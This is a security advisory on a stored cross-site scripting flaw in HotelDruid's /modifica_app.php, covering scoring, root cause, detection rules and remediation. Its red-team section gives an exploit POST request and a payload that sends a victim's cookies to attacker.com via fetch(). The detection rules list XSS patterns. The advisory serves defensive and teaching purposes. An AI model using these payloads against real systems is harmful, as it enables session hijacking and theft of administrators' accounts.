CVE-2025-55816

Executive Summary

CVE-2025-55816 identifies a stored Cross-Site Scripting (XSS) vulnerability in HotelDruid v3.0.7 and earlier, specifically within the /modifica_app.php file. This flaw allows an unauthenticated attacker to inject arbitrary JavaScript into the application, which is then executed in the context of any administrator or user who views the modified appointment data. The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). As of this report, no official patch has been released by the vendor, and the vulnerability is considered unpatched. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for targeted attacks against hospitality management systems.

Supply Chain & Package Security

HotelDruid is a PHP-based web application. The vulnerability does not originate from a third-party package or library but from insufficient input sanitization in the core application code. No NPM, PyPI, Go, or Ruby packages are directly involved. However, administrators should verify the integrity of their HotelDruid installation and monitor for any unofficial patches or forks.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – a victim must view the maliciously crafted appointment.
• Scope: Changed (S:C) – the injected script can affect resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – limited data exfiltration possible.
• Integrity Impact: Low (I:L) – ability to modify content within the victim's session.
• Availability Impact: None (A:N)

Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the lack of authentication and the potential for session hijacking or phishing within the hotel management context elevates the threat for targeted operations.

Deep Dive & Mechanics

The vulnerability resides in the /modifica_app.php script, which handles the modification of existing appointments (e.g., room bookings, guest details). The application fails to properly sanitize user-supplied input before reflecting it back in the HTML response. An attacker can craft a malicious appointment request containing JavaScript payloads in fields such as the guest name, notes, or room number. When an administrator or staff member views or edits that appointment, the injected script executes in their browser.

Attack Flow:

1. Reconnaissance: The attacker identifies a HotelDruid instance (e.g., via Shodan dorks).
2. Injection: The attacker sends a POST request to /modifica_app.php with a payload in a vulnerable parameter (e.g., nome or cognome).
3. Trigger: An administrator navigates to the appointment list or directly views the modified appointment.
4. Execution: The JavaScript executes, potentially stealing session cookies, performing actions on behalf of the admin, or redirecting to a phishing page.

Root Cause: The application uses echo or similar output functions without applying htmlspecialchars() or equivalent encoding to user input.

Vulnerable vs. Patched Code

Vulnerable Code (HotelDruid v3.0.7):

// modifica_app.php (simplified)
$nome = $_POST['nome'];
echo "<td>$nome</td>";

Patched Code (Hypothetical Fix):

// modifica_app.php (patched)
$nome = htmlspecialchars($_POST['nome'], ENT_QUOTES, 'UTF-8');
echo "<td>$nome</td>";

The patched version uses htmlspecialchars() to encode special HTML characters, preventing script injection. Since no official patch exists, administrators must apply this fix manually or implement a WAF rule.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A target running HotelDruid v3.0.7 or earlier.
• Network access to the /modifica_app.php endpoint.

Exploit Steps:

1. Identify the vulnerable parameter: Use a web proxy (e.g., Burp Suite) to intercept a legitimate appointment modification request.
2. Craft the payload: Inject a JavaScript payload into a parameter like nome or cognome.

   POST /modifica_app.php HTTP/1.1
   Host: target.com
   Content-Type: application/x-www-form-urlencoded
   
   id_app=123&nome=<script>alert('XSS')</script>&cognome=test
   

3. Deliver the payload: Send the crafted request. The payload is stored in the database.
4. Trigger execution: Wait for an admin to view the appointment. The script executes in their browser.

Advanced Payload (Session Hijacking):

<script>
fetch('https://attacker.com/steal?cookie='+document.cookie);
</script>

Blue Team (Defensive)

Detection:

• Monitor web server logs for unusual POST requests to /modifica_app.php containing <script> tags or encoded JavaScript.
• Use a WAF to block requests with common XSS patterns (e.g., <script, onerror=, javascript:).

Honeypot:

• Deploy a decoy HotelDruid instance and monitor for XSS injection attempts.

Lab Setup:

• Download HotelDruid v3.0.7 from the official source.
• Install on a local LAMP/LEMP stack.
• Use a browser with developer tools to test payloads.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /modifica_app.php with parameters containing <script>, onerror, onload, or base64-encoded JavaScript.
• Outbound connections from the HotelDruid server to unknown IPs on ports 80/443 (potential data exfiltration).

File IOCs:

• Modified entries in the HotelDruid database (e.g., appuntamenti table) containing HTML/JavaScript.
• Suspicious log entries in /var/log/apache2/access.log or similar:

  192.168.1.100 - - [10/May/2025:12:34:56 +0000] "POST /modifica_app.php HTTP/1.1" 200 1234 "-" "Mozilla/5.0"
  

Host IOCs:

• Unexpected JavaScript files in the web root (e.g., /var/www/html/hoteldruid/js/malicious.js).

Detection Engineering

YARA Rule

rule CVE_2025_55816_XSS_HotelDruid {
    meta:
        description = "Detects XSS payloads targeting HotelDruid modifica_app.php"
        author = "Valters IT"
        date = "2025-05-10"
        reference = "CVE-2025-55816"
    strings:
        $xss_payload1 = /<script[^>]*>.*<\/script>/i
        $xss_payload2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss_payload3 = /onload\s*=\s*["']?[^"']*["']?/i
        $xss_payload4 = /javascript\s*:/i
        $target_path = "/modifica_app.php"
    condition:
        any of ($xss_payload*) and $target_path
}

Sigma Rule

title: CVE-2025-55816 XSS Attempt on HotelDruid
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects XSS injection attempts in HotelDruid modifica_app.php
author: Valters IT
date: 2025/05/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/modifica_app.php'
        cs-uri-query|contains: 
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in notes (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-55816 HotelDruid XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/modifica_app.php"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Apply Input Sanitization: Manually patch /modifica_app.php by wrapping all user-supplied output with htmlspecialchars().
2. Web Application Firewall (WAF): Deploy a WAF rule to block requests containing <script>, onerror, or javascript: in POST parameters.
3. Content Security Policy (CSP): Add a CSP header to restrict script execution:

   Content-Security-Policy: default-src 'self'; script-src 'self'
   

Long-Term Fix:

• Upgrade to a patched version of HotelDruid once released.
• Conduct a full code audit for similar XSS vulnerabilities in other files (e.g., gestione_app.php, visualizza_app.php).

Workaround:

• Disable the appointment modification feature if not essential, or restrict access to trusted IPs only.

Valters IT
Securing Digital Frontiers